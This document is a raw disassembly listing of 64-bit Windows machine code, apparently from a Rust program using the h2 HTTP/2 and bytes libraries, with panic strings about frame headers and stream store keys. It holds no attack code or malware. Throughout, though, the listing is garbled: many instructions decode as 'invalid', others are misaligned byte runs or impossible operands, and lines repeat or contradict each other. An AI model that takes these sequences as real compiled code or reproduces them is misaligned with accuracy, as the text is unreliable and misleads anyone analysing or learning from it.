mov rdx, qword [rax + 8]
mov rcx, rdx
sub rcx, r15
bswap rcx
mov r8, rcx
shl r8, 0x18
jne 0x1400c1d09
cmp rdx, 2
jbe 0x1400c1d21
mov rdx, qword [rax]
shr rcx, 0x28
mov word [rdx], cx
shr ecx, 0x10
mov byte [rdx + 2], cl
test rdi, rdi
je 0x1400c1769
mov rdx, qword [rax + 8]
cmp rdx, 5
jb 0x1400c1d6e
invalid
or al, 6
add byte [rax], al
invalid
mov rax, qword [rax]
add byte [rax + 4], 0xfc
add al, 0xfc
add al, 0xfc
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xd0], rax
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xc0], xmm0
cmp r13, rsi
ja 0x1400c17a5
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [rax + 0x10]
test rdi, rdi
je 0x1400c11c1
mov rax, qword [r14]
cmp rax, 4
je 0x1400c118a
cmp eax, 3
je 0x1400c116a
cmp eax, 1
je 0x1400c1908
test rax, rax
je 0x1400c116a
jmp 0x1400c118a
xor r9d, r9d
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, qword [rsp + 0x20]
lea r8, [rsp + 0xe0]
call qword [rax + 0x38]
mov r13, rdx
test rax, rax
jne 0x1400c1ae6
add r13, qword [rbx + 0x120]
jb 0x1400c1d32
cmp r13, qword [rbx + 0x108]
ja 0x1400c1d4a
mov qword [rbx + 0x120], r13
and byte [rcx], al
add byte [rax], al
jmp 0x1400c11c1
lea rcx, [rsp + 0xe0]
xor eax, eax
mov r8, qword [r14]
cmp r8, 2
je 0x1400c1651
cmp r8d, 1
jne 0x1400c18ac
mov rdx, qword [rbx + 0xc8]
sub rdx, qword [rbx + 0xd0]
xchg ebx, eax
rol byte [rax], 1
add byte [rax], al
xchg ebx, eax
rol byte [rax], 1
add byte [rax], al
mov r9d, 0
cmovae r9, rdx
jmp 0x1400c18b3
mov rax, qword [r14]
test rax, rax
je 0x1400c1999
cmp eax, 1
jne 0x1400c19a9
mov rcx, qword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
add byte [rax], al
add byte [rax], al
mov r8, qword [rbx + 0xc0]
add r8, rax
sub rcx, rax
mov eax, 0
cmovae rax, rcx
mov ecx, 1
cmovbe r8, rcx
jmp 0x1400c19b1
mov r9, qword [rbx + 0xd0]
mov rdx, qword [rbx + 0xe0]
cmp r9, rdx
cmovae r9, rdx
test r9, r9
je 0x1400c1903
cmp r8d, 2
je 0x1400c1932
cmp r8d, 1
jne 0x1400c193d
mov r10, qword [rbx + 0xc8]
mov r9, qword [rbx + 0xd0]
mov r8, qword [rbx + 0xc0]
add r8, r9
sub r10, r9
mov r9d, 0
cmovae r9, r10
mov r10d, 1
cmovbe r8, r10
jmp 0x1400c194b
xor r9d, r9d
jmp 0x1400c196b
cmp qword [rbx + 0xc8], 0
je 0x1400c118a
mov rax, qword [rsp + 0x58]
mov r8, qword [rax]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c118a
mov r8d, 1
xor r9d, r9d
jmp 0x1400c194b
mov r8, qword [rbx + 0xc8]
mov r9, qword [rbx + 0xd0]
cmp r9, rdx
cmovb rdx, r9
mov r9, rdx
shr r9, 0x20
jne 0x1400c1d7f
ror dword [rcx + 0xf], 1
ror dword [rcx - 0x77], 1
ror dword [rcx - 0x3f], 1
jmp 0x16091287c
mov dword [rcx], edx
mov qword [rcx + 8], r8
mov r9d, 1
add r9, rax
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, qword [rsp + 0x20]
lea r8, [rsp + 0xe0]
call qword [rax + 0x38]
cmp byte [rcx - 0x77], cl
invalid
test rax, rax
je 0x1400c19e1
cmp byte [rcx - 0x77], cl
invalid
jmp 0x1400c1ad0
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7d], cl
enter 0, 0
mov r8, qword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
jmp 0x1400c19b1
mov r8d, 1
xor eax, eax
mov r9, qword [rbx + 0xe0]
cmp rax, r9
cmovb r9, rax
invalid
invalid
enter 0xffffffffffff8b48, 0xffffffffffffff8b
add dword [rax], eax
add byte [rax - 0x75], cl
or dword [rax + 1], 0
add byte [rax - 0x75], cl
push rsp
and al, 0x20
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, qword [rsp + 0x20]
call qword [rax + 0x20]
mov r13, rdx
test rax, rax
jne 0x1400c1ad0
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
mov r8, rcx
mov edx, 0
sub r8, rax
cmovae rdx, r8
jbe 0x1400c1a21
cmp rdx, r13
jae 0x1400c1a31
add rax, rdx
jb 0x1400c1d32
cmp rax, rcx
ja 0x1400c1d4a
mov qword [rbx + 0x120], rax
sub r13, rdx
mov rcx, r14
mov rdx, r13
call fcn.1400c3170
jmp 0x1400c11c1
add rax, r13
jb 0x1400c1d32
cmp rax, rcx
ja 0x1400c1d4a
mov qword [rbx + 0x120], rax
jmp 0x1400c11c1
cmp edi, 4
je 0x1400c1b73
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x100], rax
and al, 0
add dword [rax], eax
add byte [rdi], cl
adc byte [rcx], al
and al, 0
add dword [rax], eax
add byte [rdi], cl
adc byte [rcx], al
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rbx + 0xf8]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rbx + 0xe8]
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rbx + 0x70]
cmp rax, 3
je 0x1400c1b27
cmp eax, 1
je case.0x140097fb5.538
clc
add dword [rbp + rbx*2 + 0x48], esi
test eax, eax
test rax, rax
jne 0x1400c1b27
lea rcx, [rbx + 0x90]
mov rax, qword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov r8, qword [rbx + 0x88]
call qword [rax + 0x10]
jmp 0x1400c1b27
cmp rax, 1
jne 0x1400c1af0
jmp 0x1400c1bad
add byte [rax], al
add byte [rax - 0x7d], cl
clc
add dword [rbp + 0xf], esi
cmp rax, 1
jne 0x1400c1af0
jmp 0x1400c1b91
cmp rax, 1
je 0x1400c1bad
mov r12d, 1
mov r8, qword [rsp + 0x30]
cmp r8, 2
jne 0x1400c1bbf
jmp 0x1400c1ce7
cmp qword [rbx + 0x80], 0
je 0x1400c1b27
mov r8, qword [rbx + 0x78]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbx + 0x70], rdi
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movups xmmword [rbx + 0x78], xmm0
movups xmmword [rbx + 0x88], xmm1
mov rax, qword [rsp + 0x100]
mov qword [rbx + 0x98], rax
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rbx + 0xa0], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rbx + 0xb0], rax
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, qword [rsp + 0x20]
call qword [rax + 0x28]
test rax, rax
je 0x1400c1ba1
mov r12, rax
mov r8, qword [rsp + 0x30]
cmp r8, 2
jne 0x1400c1bbf
jmp 0x1400c1ce7
mov r13, rdx
test rdx, rdx
je 0x1400c1c51
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
xor r12d, r12d
mov r8, qword [rsp + 0x30]
and al, 0x30
cmp r8, 2
je 0x1400c1ce7
lea rdx, [rsp + 0x48]
and al, 0x48
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8b, 1
je 0x1400c1be6
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x30]
cmp rsi, 2
push 0x24748b48
xor byte [rax - 0x7d], cl
inc byte [rdx]
je 0x1400c1ce7
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test sil, 1
invalid
je 0x1400c1c1f
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
ror dword [rax - 0x7d], 0xc1
adc bh, bh
nop
add byte [rax], 0
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
mov ecx, 0x48000000
mov eax, dword [rsp + 0x38]
call qword [rax + 0x80]
test rsi, rsi
je 0x1400c1ce7
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400c1ce7
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call case.0x14009a20c.177
jmp 0x1400c1ce7
mov r8, qword [rsp + 0x30]
cmp r8, 2
je 0x1400c1ce1
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8b, 1
je 0x1400c1c87
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x30]
cmp rsi, 2
je 0x1400c1ce1
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test sil, 1
je 0x1400c1cbc
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
test rsi, rsi
je 0x1400c1ce1
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400c1ce1
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call case.0x14009a20c.177
invalid
mov byte [rax], al
invalid
invalid
xor r13d, r13d
xor r12d, r12d
mov rax, r12
mov rdx, r13
movaps xmm6, xmmword [rsp + 0x4e0]
add rsp, 0x4f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x14013347a]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov edx, 0x3e
add al, ch
invalid
or dword [rsi], eax
invalid
add al, ch
invalid
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov ecx, 3
call fcn.1401225f0
lea rcx, str.overflow
lea r8, [0x14016acd0]
mov edx, 8
call fcn.140122a20
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14016acb0]
mov edx, 0x36
call fcn.140122660
invalid
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140122a00
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov ecx, 4
call fcn.140122580
lea rcx, str.assertion_failed:_buf.len_____u32::MAX_as_usize_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_src_syspalwindowsio.rs
lea r8, [0x14015e920]
mov edx, 0x30
call fcn.140122660
int3
clc
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
clc
add dword [rdi], ecx
test byte [rdx], bl
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
push rbx
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
test byte [rax + rdi*4], ah
test byte [rax + rdi*4], ah
add byte [rax], al
add bh, bh
push rax
adc cl, ch
sub eax, dword [rdx]
add byte [rax], al
mov eax, dword [rsp + 0xe0]
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
movaps xmmword [rsp + 0x40], xmm1
mov r9, qword [rsp + 0x150]
mov qword [rsp + 0x50], r9
movzx r10d, byte [rsp + 0xd8]
movzx r9d, byte [rsp + 0xe6]
movzx r11d, word [rsp + 0xe4]
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5e], r9b
mov word [rsp + 0x5c], r11w
mov r11, qword [rsp + 0x30]
test r11, r11
je 0x1400c20ce
cmp r11d, 1
jne 0x1400c2144
mov r14, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
xor ebx, ebx
sub r14, rax
cmovae rbx, r14
fimul word [r8 - 0x7b]
fisttp dword [rdi]
test byte [rdx], bh
add dword [rax], eax
invalid
fimul word [r8 - 0x7b]
fisttp dword [rdi]
test byte [rdx], bh
add dword [rax], eax
add byte [rcx + 0xf824bc], cl
add byte [rax], al
mov dword [rsp + 0xf8], edi
mov dword [rsp + 0xfc], esi
mov qword [rsp + 0xf0], r8
test r10b, r10b
je 0x1400c1fc9
cld
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add byte [rbp - 0x7c], al
sal byte [rcx + rcx + 0x41], cl
or cl, 1
or r9b, 1
mov byte [rsp + 0x5e], r9b
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1a8], rax
and al, 0xa8
add dword [rax], eax
add byte [rbx - 0x76a7dbbc], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x44
and al, 0x5c
and al, 0xa8
add dword [rax], eax
add byte [rbx - 0x76a7dbbc], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x44
and al, 0x5c
mov word [rsp + 0x1b4], ax
movzx eax, byte [rsp + 0x5e]
mov dh, 0x44
and al, 0x5e
mov dh, 0x44
and al, 0x5e
mov byte [rsp + 0x1b6], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x1b7], al
movups xmmword [rsp + 0x198], xmm1
movups xmmword [rsp + 0x188], xmm0
mov byte [rsp + 0x180], 0
mov dword [rsp + 0x28], edi
lea r14, [rsp + 0x2c]
mov dword [rsp + 0x2c], esi
cmp qword [r8 + 0x10], rdi
jbe 0x1400c2204
mov rbx, rcx
mov rcx, qword [r8 + 8]
imul r15, rdi, 0x130
cmp dword [rcx + r15], 2
je 0x1400c2204
add rcx, r15
cmp dword [rcx + 0x114], esi
jne 0x1400c2204
lea rax, [rsp + 0x180]
mov r12, r8
mov r8, rax
call fcn.1400a78e0
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x2c], esi
cmp qword [r12 + 0x10], rdi
jbe 0x1400c2269
mov rax, qword [r12 + 8]
cmp dword [rax + r15], 2
je 0x1400c2269
add rax, r15
cmp dword [rax + 0x114], esi
jne 0x1400c2269
cmp dword [rax + 0x84], 0
jle case.0x14009cbef.145
mov rcx, rbx
add rcx, 0x10
lea rdx, [rsp + 0xf0]
xchg esp, eax
and al, 0xf0
add byte [rax], al
add al, ch
xchg edi, eax
invalid
cmc
invalid
xchg esp, eax
and al, 0xf0
add byte [rax], al
add al, ch
xchg edi, eax
sbb eax, 0xb640fff5
mov sil, 1
jmp 0x1400c2146
invalid
mov sil, 1
jmp 0x1400c2146
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov rbx, rax
mov rbx, rax
test rbx, rbx
jne 0x1400c1fa5
cmp r11d, 1
je 0x1400c2128
invalid
add dword [rbx + rax*2 + 0x4d], esi
test ebx, ebx
test r11, r11
test r11, r11
jne 0x1400c2144
lea rcx, [rsp + 0x50]
mov r9, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, rax
mov r8, rax
call qword [r9 + 0x10]
jmp 0x1400c2144
add byte [rax], al
add byte [rdi + rsi + 0x4c], dh
mov eax, dword [rsp + 0xa8]
test al, 0
add byte [rax], al
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
or eax, 0xdd13c
xor esi, esi
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c2146
cmp qword [rsp + 0x40], 0
je 0x1400c2144
jl 0x1400c2150
add byte [rsp + rdx + 0x4c], sil
mov eax, dword [rsp + 0x38]
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x14019f258]
xor edx, edx
or eax, 0xffd23100
adc eax, 0x6d2fc
cld
rol byte [rsi], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
test byte [rbx + rcx*4 + 0x44], 0x24
js 0x1400c2195
mov r8, qword [rsp + 0x78]
cmp r8, 2
invalid
cmp eax, 2
add cl, byte [rdi]
je case.0x1400b3268.71
test byte [rax + rax - 0x72b80000], bl
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rax*4], fs
add byte [rax], al
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
test r8b, 1
invalid
mov byte [rax], al
add byte [rax], al
test r8b, 1
je case.0x1400aa0c7.98
invalid
adc cl, byte [rbx + rcx*4 + 0x40]
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rdi, qword [rsp + 0x78]
cmp rdi, 2
cmp edi, 2
cmp edi, 2
je case.0x1400b3268.71
mov rdx, qword [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax - 0xa], al
invalid
invalid
je 0x1400c21c3
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
and al, 0x88
and al, 0x88
add byte [rax], al
add byte [rax - 0xa], al
mov dword [rcx], 0x8b4c1274
adc byte [rcx - 1], cl
adc byte [rcx - 1], cl
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
call qword [rax + 0x80]
add byte [rax - 0x7b], cl
push qword [rbx + riz + 0x48]
mov eax, dword [rsp + 0x80]
add byte [rax], 0
invalid
test edi, edi
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x68], esi
lea rax, [0x140033810]
and al, 0x20
and byte [rcx], al
and al, 0
add dword [rax], eax
add al, ch
add al, byte [esi]
add al, byte [rsi]
inc dword [r14]
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rcx], ah
and al, 8
or eax, 0x9bdcb
add al, 0x82
mov eax, dword [rcx + 0x20]
adc byte [rbx + rcx*4 + 0x41], cl
sbb byte [rax - 0x7d], cl
rol byte [rsi], 1
add bl, al
ret
int3
int3
mov word [rax + rax], fs
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xf0
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x6fa2b
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.1401224d0
int3
add byte [rax], al
jne case.0x14009d1d6.147
mov rdx, r8
mov r8, rax
call fcn.1400a7b90
mov rcx, rbx
mov rdx, rsi
invalid
mov r8, rdi
mov r8, rdi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
jmp 0x140020c10
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x140033810]
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x73], cl
add eax, 0x6f95d
cmp byte [rax - 0x73], cl
add eax, 0x6f95d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
invalid
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
invalid
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x58], 1
and al, 0x58
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.1401224d0
int3
int3
int3
push rbp
push rbx
sub rsp, 0x168
push 0x4c000001
mov esi, ecx
push 0x4c000001
mov esi, ecx
mov rdi, r8
mov rbx, rdx
mov r14, rcx
movups xmm0, xmmword [0x14015a2a0]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14015a290]
scasb al, byte [rdi]
jns 0x1400c28ea
add byte [rdi], cl
sub dword [rsp + 0x40], eax
scasb al, byte [rdi]
jns 0x1400c28ea
add byte [rdi], cl
sub dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
and al, 0x40
mov rcx, rbx
mov rcx, rbx
call fcn.14002cd90
mov bpl, 6
test al, al
jne case.0x1400c2a97.2
test esp, ebx
add dword [rax], eax
invalid
inc dword [rax - 0x4b]
invalid
test esp, ebx
add dword [rax], eax
add byte [rdi], cl
adc byte [0x140148580], al
fadd qword [rcx]
add byte [rax], al
movups xmm0, xmmword [0x140148580]
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
movups xmm0, xmmword [0x140148570]
pop rsi
pop rsp
or byte [rax], al
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
mov rcx, rbx
call fcn.14002cd90
test al, al
jne case.0x1400c2a97.2
inc dword [rax + rax*8 + 0x1af850f]
add byte [rax], al
movups xmm0, xmmword [0x1401485a0]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140148590]
push rcx
pop rsp
or byte [rax], al
push rcx
pop rsp
or byte [rax], al
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
idiv bh
fld1
pop rbp
xchg ebp, eax
cmc
inc dword [rbx + 0x140247c]
invalid
pop rbp
add byte [rcx - 0x77], cl
fld1
call fcn.14001bed0
cmp dword [rsp + 0x40], 1
invalid
test byte [rax], bh
cmp byte [rcx], al
invalid
pop rbx
or byte [rax], al
and al, 0x40
pop rax
mov ecx, dword [rsi]
and al, 0x2c
add byte [rdi], cl
test dword [rsi], ebp
invalid
mov ecx, ebx
add byte [rax], al
lea edx, [rsp + 0x40]
invalid
push rsp
and al, 0x30
mov dword [rsp + 0x68], 0
mov rax, qword [r9]
mov r11d, dword [r9 + 8]
mov r10d, dword [r9 + 0xc]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x44], r10d
cmp qword [rax + 0x10], r11
jbe 0x1400c2ee1
mov rax, qword [rax + 8]
imul r11, r11, 0x130
cmp dword [rax + r11], 2
je 0x1400c2ee1
add rax, r11
cmp dword [rax + 0x114], r10d
jne 0x1400c2ee1
movzx r10d, byte [rax + 0x50]
add r10b, 0xfa
movzx r11d, r10b
cmp r11b, 6
mov r10d, 6
cmovb r10d, r11d
cmp r10b, 6
ja 0x1400c2dee
movzx r10d, r10b
mov r11d, 0x54
bt r11d, r10d
jae 0x1400c2dee
cmp qword [rax + 0x88], 0
je 0x1400c2ed1
add edx, dword [rax + 0x80]
jno 0x1400c2e2f
mov rax, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r9
mov edx, 3
mov r9, r8
mov r8b, 1
call fcn.1400c2370
mov eax, 1
jmp 0x1400c2ed3
add rcx, 8
mov dword [rax + 0x80], edx
mov rdx, r9
call fcn.140021480
mov r8, qword [rsp + 0x48]
cmp r8, 2
je 0x1400c2ed1
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
test r8b, 1
je 0x1400c2e77
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x48]
cmp rsi, 2
je 0x1400c2ed1
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
test sil, 1
je 0x1400c2eac
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
test rsi, rsi
je 0x1400c2ed1
xor eax, eax
mov edx, 3
add rsp, 0xb0
pop rsi
ret
lea rax, [rsp + 0x44]
mov qword [rsp + 0x70], rax
lea rax, [0x140033810]
mov qword [rsp + 0x78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x80]
call fcn.1401224d0
int3
xor al, byte [rbx + rcx*4 + 0x62]
or byte [rbx - 0x76bbf396], cl
and al, 0x40
mov dword [rsp + 0x44], ebp
cmp qword [r14 + 0x10], r12
jbe 0x1400c3077
mov rax, qword [r14 + 8]
imul r13, r12, 0x130
cmp dword [rax + r13], 2
je 0x1400c3077
add rax, r13
cmp dword [rax + 0x114], ebp
jne 0x1400c3077
mov rsi, rdx
mov rdi, rcx
mov r15d, dword [rax + 0x48]
mov rbx, qword [r8]
mov rax, qword [r8 + 8]
mov r10, qword [rbx]
lea rcx, [r10 + 0xa0]
mov edx, dword [rax]
mov rax, qword [r8 + 0x10]
movzx eax, byte [rax]
mov r8, qword [r8 + 0x18]
mov r9, qword [r8]
add r10, 0x140
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
mov r8d, eax
call fcn.1400c2370
mov rcx, qword [rbx]
mov rdx, rsi
mov r8, rdi
call fcn.140013360
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x44], ebp
cmp qword [r14 + 0x10], r12
jbe 0x1400c30cf
mov rax, qword [r14 + 8]
cmp dword [rax + r13], 2
je 0x1400c30cf
add rax, r13
cmp dword [rax + 0x114], ebp
jne 0x1400c30cf
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400c304e
call qword [rdx + 8]
cmp r15d, 0x3b9aca00
setne r8b
mov rcx, rdi
mov rdx, rsi
add rsp, 0x88
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140022d30
cmc
dec dword [rax - 0x73]
and al, 0x44
lea rax, [rsp + 0x44]
mov qword [rsp + 0x48], rax
lea rax, [0x140033810]
mov qword [rsp + 0x50], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.1401224d0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x48], rax
lea rax, [0x140033810]
mov qword [rsp + 0x50], rax
lea rax, str.dangling_store_key_for_stream_id
fdivr st(0), st(0)
invalid
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
fdivr st(0), st(0)
invalid
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
push 0x2444c748
jo 0x1400c3114
add byte [rax], al
invalid
push 0x2444c748
jo 0x1400c3114
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x6f0d3
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.1401224d0
int3
int3
